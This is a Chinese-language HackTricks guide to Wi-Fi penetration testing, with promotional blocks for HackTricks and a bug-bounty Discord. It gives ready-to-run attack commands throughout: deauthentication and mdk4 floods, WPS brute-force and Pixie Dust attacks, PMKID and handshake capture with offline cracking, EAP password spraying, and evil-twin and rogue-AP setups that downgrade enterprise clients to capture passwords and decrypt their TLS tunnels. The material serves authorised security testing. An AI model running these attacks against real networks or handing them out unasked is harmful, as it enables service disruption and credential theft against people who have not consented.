.. | ||
evil-twin-eap-tls.md | ||
README.md |
Wifi渗透测试
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
深入了解黑客的刺激和挑战
实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
Wifi基本命令
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
工具
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
使用docker运行airgeddon
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络的真实密码或捕获社交网络凭据。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
此工具自动化 WPS/WEP/WPA-PSK 攻击。它将自动:
- 将接口设置为监控模式
- 扫描可能的网络 - 并让您选择受害者
- 如果是 WEP - 启动 WEP 攻击
- 如果是 WPA-PSK
- 如果是 WPS:Pixie dust 攻击和暴力破解攻击(小心暴力破解攻击可能需要很长时间)。注意它不尝试空 PIN 或数据库/生成的 PIN。
- 尝试从 AP 捕获 PMKID 以破解
- 尝试对 AP 的客户端进行去认证以捕获握手
- 如果有 PMKID 或握手,尝试使用 top5000 密码进行暴力破解。
攻击总结
- DoS
- 去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端)
- 随机假 AP -- 隐藏网络,可能会崩溃扫描器
- AP 过载 -- 尝试杀死 AP(通常不是很有用)
- WIDS -- 与 IDS 玩耍
- TKIP, EAPOL -- 一些特定的攻击以 DoS 一些 AP
- 破解
- 破解 WEP(几种工具和方法)
- WPA-PSK
- WPS pin "暴力破解"
- WPA PMKID 暴力破解
- [DoS +] WPA 握手 捕获 + 破解
- WPA-MGT
- 用户名捕获
- 暴力破解 凭据
- Evil Twin(有或没有 DoS)
- Open Evil Twin [+ DoS] -- 用于捕获强制门户凭据和/或执行 LAN 攻击
- WPA-PSK Evil Twin -- 如果您知道密码,对网络攻击很有用
- WPA-MGT -- 用于捕获公司凭据
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- 用于捕获强制门户凭据和/或执行 LAN 攻击
- + WPA -- 用于捕获 WPA 握手
DOS
去认证数据包
这种攻击最常见的方式是使用 去认证 数据包。这些是一种“管理”帧,负责将设备与接入点断开连接。伪造这些数据包是 黑客许多 Wi-Fi 网络的关键,因为您可以随时强制任何客户端断开网络连接。这样做的容易程度有些可怕,通常作为收集用于破解的 WPA 握手的一部分。
除了暂时使用这种断开连接来收集用于破解的握手之外,您还可以让那些去认证不断地来,这样做的效果是似乎来自他们所连接的网络的去认证数据包不断地轰炸客户端。因为这些帧没有加密,许多程序通过伪造它们并将它们发送到网络上的一个或所有设备来利用管理帧。
描述来自 这里。
使用 Aireplay-ng 进行去认证
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 表示去认证
- 1 是要发送的去认证包的数量(如果你愿意,可以发送多个);0 表示连续发送
- -a 00:14:6C:7E:40:80 是接入点的MAC地址
- -c 00:0F:B5:34:30:30 是要去认证的客户端的MAC地址;如果省略这个参数,则发送广播去认证(不总是有效)
- ath0 是接口名称
解除关联数据包
解除关联数据包是另一种管理帧,用于断开节点(意指任何设备,如笔记本电脑或手机)与附近接入点的连接。去认证和解除关联帧之间的主要区别在于它们的使用方式。
一个接入点如果想断开一个恶意设备的连接,会发送去认证包以通知该设备它已经从网络中断开,而解除关联包则用于在接入点关闭电源、重启或离开区域时断开任何节点的连接。
描述来自 这里。
这种攻击可以通过 mdk4(模式 "d")执行:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
通过mdk4实施更多DOS攻击
来自 这里。
攻击模式b:信标泛洪
发送信标帧以在客户端显示假AP。这有时可以使网络扫描器甚至驱动程序崩溃!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
攻击模式a:认证拒绝服务
向范围内发现的所有AP发送认证帧。过多的客户端可能会冻结或重置多个AP。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
攻击模式 p:SSID 探测和暴力破解
探测 AP 并检查响应,用于检查 SSID 是否已正确去隐藏,以及 AP 是否在您的发送范围内。隐藏 SSID 的暴力破解,无论是否使用词表,均可用。
攻击模式 m:Michael 对策利用
向另一个 QoS 队列发送随机数据包或重新注入重复数据包,以引发 TKIP APs 上的 Michael 对策。AP 随后将关闭整整一分钟,使其成为有效的 DoS。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
攻击模式 e: EAPOL 开始和注销数据包注入
向 AP 大量发送 EAPOL 开始帧,以使其忙于处理伪造会话,从而无法处理任何合法客户端。或者通过注入伪造的 EAPOL 注销消息来注销客户端。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s:针对 IEEE 802.11s 网状网络的攻击
对网状网络中的链接管理和路由进行各种攻击。洪水攻击邻居和路由,创建黑洞并转移流量!
ATTACK MODE w:WIDS 混淆
通过将客户端交叉连接到多个 WDS 节点或伪造恶意 APs 来混淆/滥用入侵检测和预防系统。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
攻击模式 f: 数据包模糊测试器
一个简单的数据包模糊测试器,具有多个数据包来源和一套不错的修改器。小心使用!
Airgedon
Airgedon 提供了之前评论中提出的大多数攻击:
WPS
WPS 代表 Wi-Fi Protected Setup。它是一种无线网络安全标准,旨在使路由器和无线设备之间的连接更快更容易。WPS 仅适用于使用 WPA 个人或 WPA2 个人安全协议加密的密码的无线网络。WPS 不适用于使用已被淘汰的 WEP 安全的无线网络,任何具备基本工具和技能的黑客都可以轻松破解。(来自这里)
WPS 使用一个 8 位长度的 PIN 码来允许用户连接到网络,但它首先检查前 4 个数字,如果正确,然后检查后 4 个数字。因此,可以对前半部分和后半部分进行暴力破解(只有 11000 种可能性)。
WPS 暴力破解
有两个主要工具可以执行此操作:Reaver 和 Bully。
- Reaver 被设计为针对 WPS 的强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
- Bully 是 WPS 暴力破解攻击的新实现,用 C 语言编写。它相对于原始的 reaver 代码有几个优点:依赖性更少,改善了内存和 CPU 性能,正确处理了字节序,并且有一套更健全的选项。
这种攻击利用了 八位数 WPS PIN 码的弱点;由于这个问题,协议泄露了有关 PIN 前四位数字的信息,而最后一位数字作为校验和,这使得暴力破解 WPS AP 变得容易。
请注意,一些设备包括暴力破解保护,通常会阻止反复尝试攻击的MAC 地址。在这种情况下,这种攻击的复杂性增加了,因为你必须在测试 PIN 码时轮换 MAC 地址。
如果找到了有效的 WPS 代码,Bully 和 Reaver 都会使用它来发现用于保护网络的 WPA/WPA2 PSK,因此你将能够在需要时随时连接。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
智能蛮力攻击
在开始尝试每个可能的PIN之前,您应该检查是否有可用的已发现针对您正在攻击的AP的PIN(取决于制造商MAC)以及PIN软件生成的PIN。
- 已知PIN的数据库是为某些制造商的接入点制作的,已知它们使用相同的WPS PIN。此数据库包含MAC地址的前三个八位字节和一个相应PIN的列表,这些PIN对于该制造商来说非常可能。
- 有几种生成WPS PIN的算法。例如,ComputePIN和EasyBox在计算中使用接入点的MAC地址。但Arcadyan算法还需要一个设备ID。
WPS Pixie Dust攻击
Dominique Bongard 发现一些AP在生成随机数(称为E-S1和E-S2)时存在弱点,这些随机数本应保密。如果我们能够找出这些随机数是什么,我们就可以轻松找到AP的WPS PIN,因为为了证明它也知道PIN,并且客户端没有连接到恶意AP,AP必须在哈希中给我们这个PIN。这些E-S1和E-S2本质上是“解锁包含WPS pin的锁盒”的钥匙。更多信息请访问:https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
基本上,一些实现在使用随机密钥加密PIN的2部分时失败了(因为在认证通信过程中它被分解为2部分并发送给客户端),因此可以使用离线攻击来蛮力破解有效的PIN。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Null Pin 攻击
一些非常糟糕的实现允许 Null PIN 连接(也非常奇怪)。Reaver 可以测试这个(Bully 不能)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
所有提出的WPS攻击都可以使用 airgeddon 轻松执行。
- 5 和 6 允许您尝试自定义PIN码(如果您有的话)
- 7 和 8 执行Pixie Dust攻击
- 13 允许您测试空PIN码
- 11 和 12 将从可用数据库中收集与选定AP相关的PIN码并生成可能的PIN码,使用:ComputePIN、EasyBox,以及可选的Arcadyan(推荐,为什么不呢?)
- 9 和 10 将测试每一个可能的PIN码
WEP
如此破碎且消失,我不打算谈论它。只需知道 airgeddon 有一个名为“All-in-One”的WEP选项来攻击这种保护。更多工具提供类似选项。
加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客洞察
参与深入探讨黑客的刺激和挑战的内容
实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界
最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新
加入我们的 Discord 并开始与顶尖黑客合作!
WPA/WPA2 PSK
PMKID
2018年,hashcat作者披露了一种新型攻击,它不仅依赖于单个数据包,而且不需要任何客户端连接到我们的目标AP,只需攻击者和AP之间的通信。
事实证明,许多现代路由器在发送给正在关联的某人的第一个EAPOL帧的末尾附加了一个可选字段,即所谓的Robust Security Network
,其中包括所谓的PMKID
正如原始帖子中解释的,PMKID是通过使用我们已知的数据派生出来的:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
由于“PMK Name”字符串是恒定的,我们知道无线接入点(AP)和站点的BSSID以及PMK
与从完整的4次握手中获得的是同一个,这就是hashcat需要的全部信息,以便破解PSK并恢复密码短语!
描述摘自此处。
要收集这些信息并在本地暴力破解密码,你可以执行:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
捕获的PMKID 将在控制台中显示,并且也会被保存在 _/tmp/attack.pcap_ 中
现在,将捕获的文件转换为 hashcat/john 格式并破解它:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
请注意,正确的哈希包含4个部分,例如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__如果您的只包含3个部分,那么它是无效的(PMKID捕获不有效)。
请注意,hcxdumptool
也能捕获握手(会出现类似这样的信息:MP:M1M2 RC:63258 EAPOLTIME:17091
)。您可以使用cap2hccapx
将握手转换为hashcat/john格式。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
我注意到,即使知道正确密码,使用这个工具捕获的一些握手也无法被破解。我建议如果可能的话,也通过传统方式捕获握手,或者使用这个工具捕获多个握手。
握手捕获
攻击 WPA/WPA2 网络的一种方式是捕获 握手 并尝试 离线 破解使用的密码。为此,你需要找到 受害者 网络的 BSSID 和 频道,以及连接到网络的 客户端。
一旦你有了这些信息,你就必须开始 监听 该 BSSID 在该 频道 的所有通信,因为希望握手会在那里发送:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
现在你需要将客户端进行去认证几秒钟,以便它会自动再次对接入点(AP)进行认证(请阅读DoS部分以找到多种去认证客户端的方法):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
请注意,由于客户端被强制下线,它可能会尝试连接到不同的AP,或者在其他情况下,连接到不同的网络。
一旦在airodump-ng
中出现了一些握手信息,这意味着握手已被捕获,你可以停止监听:
一旦握手被捕获,你可以使用aircrack-ng
来破解它:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
检查文件中是否存在握手
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
如果此工具在完成的握手之前发现了一个未完成的ESSID握手,它将不会检测到有效的握手。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA 企业版 (MGT)
它 讨论企业 Wifi 可能使用的不同认证方法很重要。对于这类 Wifi,您在 airodump-ng
中可能会看到类似这样的内容:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP(可扩展认证协议)是认证通信的核心,在此基础上,服务器使用认证算法对客户端(请求者)进行认证,在某些情况下,客户端也用来认证服务器。 主要使用的认证算法包括:
- EAP-GTC: 是一种EAP方法,支持使用硬件令牌和一次性密码与EAP-PEAP一起使用。其实现类似于MSCHAPv2,但不使用对等挑战。相反,密码以明文发送到接入点(对降级攻击非常有趣)。
- EAP-MD-5(消息摘要): 客户端发送密码的MD5哈希。不推荐:易受字典攻击,无服务器认证,无法生成每个会话的有线等效隐私(WEP)密钥。
- EAP-TLS(传输层安全): 它依赖于客户端和服务器端证书来执行认证,并可用于动态生成基于用户和基于会话的WEP密钥,以保护后续通信。
- EAP-TTLS(隧道传输层安全): 通过加密通道(或隧道)实现客户端和网络的双向认证,以及派生动态的、每用户的、每会话的WEP密钥。与EAP-TLS不同,EAP-TTLS仅需要服务器端证书(客户端将使用凭据)。
- PEAP(受保护的可扩展认证协议): PEAP类似于EAP协议,但创建了一个TLS隧道来保护通信。然后,可以在EAP之上使用弱认证协议,因为它们将受到隧道的保护。
- PEAP-MSCHAPv2: 这也被称为PEAP,因为它被广泛采用。这只是在PEAP之上的脆弱挑战/响应称为MSCHAPv2(它受到TLS隧道的保护)。
- PEAP-EAP-TLS或仅PEAP-TLS: 与EAP-TLS非常相似,但在交换证书之前会创建一个TLS隧道。
用户名捕获
阅读https://tools.ietf.org/html/rfc3748#page-27,如果您使用EAP,"Identity" 消息必须得到支持,并且用户名将在**"Response Identity"消息中以明文**发送。
即使使用最安全的认证方法之一:PEAP-EAP-TLS,也有可能捕获在EAP协议中发送的用户名。为此,捕获认证通信(在一个频道内启动airodump-ng
并在同一接口上使用wireshark
),并按eapol
过滤数据包。
在"Response, Identity"数据包中,将出现客户端的用户名。
匿名身份
(信息取自https://www.interlinknetworks.com/app_notes/eap-peap.htm)
EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi环境中,接入点(AP)通常在关联过程中生成一个EAP-Identity请求。为了保持匿名,用户系统上的EAP客户端可能只响应足够的信息,以允许第一跳RADIUS服务器处理请求,如下例所示。
- EAP-Identity = anonymous
在此示例中,所有用户将共享伪用户名“anonymous”。第一跳RADIUS服务器是EAP-PEAP或EAP-TTLS服务器,它驱动PEAP或TTLS协议的服务器端。然后,内部(受保护的)认证类型将由本地处理或代理到远程(家庭)RADIUS服务器。
- EAP-Identity = anonymous@realm_x
在此示例中,属于不同领域的用户隐藏自己的身份,但指出他们属于哪个领域,以便第一跳RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到他们家庭领域的RADIUS服务器,后者将充当PEAP或TTLS服务器。第一跳服务器纯粹充当RADIUS中继节点。
或者,第一跳服务器可以充当EAP-PEAP或EAP-TTLS服务器,并处理受保护的认证方法或将其代理到另一个服务器。此选项可用于为不同领域配置不同的策略。
在EAP-PEAP中,一旦PEAP服务器和PEAP客户端建立了TLS隧道,PEAP服务器就会生成一个EAP-Identity请求并通过TLS隧道传输。客户端对这第二个EAP-Identity请求做出响应,通过加密隧道发送包含用户真实身份的EAP-Identity响应。这可以防止任何窃听802.11流量的人发现用户的真实身份。
EAP-TTLS的工作方式略有不同。在EAP-TTLS中,客户端通常通过受TLS隧道保护的PAP或CHAP进行认证。在这种情况下,客户端将在建立隧道后发送的第一个TLS消息中包含一个User-Name属性和一个Password或CHAP-Password属性。
无论使用哪种协议,一旦建立了TLS隧道,PEAP/TTLS服务器就会了解用户的真实身份。真实身份可能是形式为_user@realm或简单的user。如果PEAP/TTLS服务器也在认证user_,它现在知道了用户的身份,并继续进行受TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可能会向用户的家庭RADIUS服务器转发一个新的RADIUS请求。这个新的RADIUS请求已经去除了PEAP或TTLS协议。如果受保护的认证方法是EAP,则内部EAP消息将不带EAP-PEAP或EAP-TTLS包装器传输到家庭RADIUS服务器。传出RADIUS消息的User-Name属性包含用户的真实身份 - 而不是传入RADIUS请求的User-Name属性中的匿名身份。如果受保护的认证方法是PAP或CHAP(仅由TTLS支持),则从TLS有效负载中恢复的User-Name和其他认证属性将放置在传出RADIUS消息中,代替传入RADIUS请求中的匿名User-Name和TTLS EAP-Message属性。
EAP-Bruteforce(密码喷涂)
如果客户端预期使用用户名和密码(注意在这种情况下EAP-TLS将不适用),那么您可以尝试获取用户名列表(见下一部分)和密码,并尝试使用air-hammer。进行暴力破解访问。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
你也可以使用 eaphammer
来进行这次攻击:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
客户端攻击理论
网络选择和漫游
尽管802.11协议对于站点如何加入ESS有非常具体的规则,但它并没有规定站点应如何选择要连接的ESS。此外,该协议允许站点在共享相同ESSID的接入点之间自由漫游(因为您不希望在建筑物的一端走到另一端时失去WiFi连接等)。然而,802.11协议并没有规定应如何选择这些接入点。此外,尽管站点必须经过ESS认证才能与接入点关联,但802.11协议并不要求接入点对站点进行认证。
首选网络列表(PNLs)
每次站点连接到无线网络时,网络的ESSID都会存储在站点的首选网络列表(PNL)中。PNL是站点过去连接过的每个网络的有序列表,PNL中的每个条目都包含网络的ESSID和建立连接所需的任何特定于网络的配置信息。
被动扫描
在基础设施网络中,接入点定期传输信标帧,以向附近的站点宣传其存在和能力。信标是广播帧,这意味着它们旨在被范围内的所有附近站点接收。信标包括有关AP支持的速率、加密能力、附加信息的信息,最重要的是,信标帧包含AP的ESSID(只要没有禁用ESSID广播)。
在被动扫描期间,客户端设备监听附近接入点的信标帧。如果客户端设备接收到一个其ESSID字段与客户端PNL中的ESSID匹配的信标帧,客户端将自动连接到发送信标帧的接入点。然后,假设我们想要针对当前未连接到任何无线的无线设备。如果我们至少知道客户端PNL中的一个条目,我们可以通过创建具有该条目ESSID的自己的接入点,简单地强制客户端连接到我们。
主动探测
802.11中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备不断传输探测请求帧,以确定哪些AP在范围内,以及它们的能力如何。探测请求有两种形式:定向和广播。定向探测请求针对特定的ESSID,并且是客户端检查特定网络是否在附近的方式。
使用定向探测的客户端将为其PNL中的每个网络发送探测请求。应该注意的是,定向探测是识别附近隐藏网络存在的唯一方式。广播探测请求几乎完全相同,但是发送时SSID字段设置为NULL。这将广播探测请求发送给所有附近的接入点,使站点能够检查其首选网络是否在附近,而不会泄露其PNL的内容
简单AP及其重定向到互联网
在解释如何执行更复杂的攻击之前,将解释如何仅创建一个AP并重定向其流量到连接到互联网的接口。
使用ifconfig -a
检查创建AP的wlan接口和连接到互联网的接口是否存在。
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
创建配置文件 /etc/dnsmasq.conf,内容如下:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
然后设置IP和路由:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
然后启动 dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
创建配置文件 hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
停止烦人的进程,设置监控模式,并启动hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
转发和重定向
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Evil Twin 攻击是一种 Wi-Fi 攻击方式,它利用大多数计算机和手机只能看到无线网络的“名称”或 ESSID(因为基站不需要对客户端进行认证)的事实。这实际上使得区分具有相同名称和相同类型加密的网络变得非常困难。事实上,许多网络会有几个使用相同名称的网络扩展接入点,以扩大接入范围而不会让用户感到困惑。
由于客户端的实现方式(记住,802.11 协议允许站点在同一 ESS 内的接入点之间自由漫游),可以使设备更改它所连接的基站。可以通过提供更好的信号(这并不总是可能的)或通过阻止对原始基站的访问(去认证包,干扰或某种形式的 DoS 攻击)来实现这一点。
还要注意,现实世界中的无线部署通常不止一个接入点,这些接入点通常更强大,并且由于它们朝向天花板的位置,具有更好的视线范围。去认证一个单独的接入点通常会导致目标向另一个有效的接入点漫游,而不是你的恶意 AP,除非所有附近的接入点都被去认证(声音大)或者你对恶意 AP 的位置非常小心(困难)。
你可以创建一个非常基础的 Open Evil Twin(没有将流量路由到互联网的能力),方法是:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
您还可以使用 eaphammer 创建一个恶意兄弟(注意,使用 eaphammer 创建恶意兄弟时,接口不应该处于监视模式):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
或使用 Airgeddon:选项:5,6,7,8,9(在 Evil Twin 攻击菜单内)。
请注意,默认情况下,如果 PNL 中的 ESSID 被保存为 WPA 保护的,设备不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,希望用户会手动连接到您的开放 Evil Twin,或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 来捕获握手过程(使用这种方法您无法让受害者连接到您的网络,因为您不知道 PSK,但您可以捕获握手过程并尝试破解)。
一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...
WPA/WPA2 Evil Twin
您可以创建一个使用 WPA/2 的 Evil Twin,如果设备已配置为使用 WPA/2 连接到该 SSID,它们将尝试连接。无论如何,为了完成 4 方握手,您还需要知道客户端将使用的密码。如果您不知道,连接将无法完成。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
企业级邪恶双胞胎
要理解这些攻击,我建议先阅读简要的WPA 企业级解释。
使用 hostapd-wpe
hostapd-wpe
需要一个配置文件才能工作。为了自动化生成这些配置,你可以使用 https://github.com/WJDigby/apd_launchpad(下载 Python 文件放在 /etc/hostapd-wpe/ 中)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
在配置文件中,您可以选择许多不同的内容,如 ssid、频道、用户文件、证书/密钥、dh 参数、wpa 版本和认证等...
[**使用 hostapd-wpe 与 EAP-TLS 允许任何证书登录。**](evil-twin-eap-tls.md)
**使用 EAPHammer**
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
默认情况下,EAPHammer 使用以下认证方法(注意 GTC 是首先尝试获取明文密码的方法,然后是使用更健壮的认证方法):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
这是避免长时间连接的默认方法。然而,您也可以指定服务器从最弱到最强的认证方法:
--negotiate weakest
您也可以使用:
--negotiate gtc-downgrade
来使用高效的 GTC 降级实现(明文密码)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
手动指定提供的方法(提供与组织相同的认证方法和相同的顺序,攻击将更难以被检测)。- 在 wiki 中查找更多信息
使用 Airgeddon
Airgeddon
可以使用之前生成的证书来提供 EAP 认证给 WPA/WPA2-Enterprise 网络。假网络将降级连接协议到 EAP-MD5,因此它将能够捕获用户和密码的 MD5。之后,攻击者可以尝试破解密码。
Airgeddon
为您提供了**连续的 Evil Twin 攻击(嘈杂)或仅在有人连接时创建 Evil Attack(平滑)**的可能性。
在 Evil Twins 攻击中调试 PEAP 和 EAP-TTLS TLS 隧道
此方法在 PEAP 连接中进行了测试,但由于我正在解密任意 TLS 隧道,这也应该适用于 EAP-TTLS
在 hostapd-wpe 的配置中,注释掉包含 dh_file 的行(从 dh_file=/etc/hostapd-wpe/certs/dh
到 #dh_file=/etc/hostapd-wpe/certs/dh
)
这将使 hostapd-wpe
使用 RSA 交换密钥而不是 DH,所以你将能够在知道服务器私钥的情况下之后解密流量。
现在像往常一样使用修改过的配置启动Evil Twin,使用 hostapd-wpe
。同时,在执行 Evil Twin 攻击的接口上启动 wireshark
。
现在或稍后(当你已经捕获了一些认证尝试时),你可以在 wireshark 中添加私有 RSA 密钥:编辑 --> 偏好设置 --> 协议 --> TLS --> (RSA 密钥列表) 编辑...
添加一个新条目,并用以下值填写表单:IP 地址 = 任意 -- 端口 = 0 -- 协议 = 数据 -- 密钥文件(选择你的密钥文件,为避免问题选择一个没有密码保护的密钥文件)。
并查看新的**“解密 TLS”标签**:
KARMA, MANA, Loud MANA 和 Known beacons 攻击
ESSID 和 MAC 黑/白名单
下表列出了可用的不同类型的 MFACLs(管理帧访问控制列表),以及使用时的效果:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
KARMA攻击是利用站点网络选择过程的第二种流氓接入点攻击形式。在2005年的一篇白皮书中,Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置接入点来监听定向探测请求,并对所有这些请求作出匹配的定向探测响应。这导致受影响的站点自动向攻击者的接入点发送关联请求。接入点随后回复一个关联响应,使受影响的站点连接到攻击者的接入点。
MANA
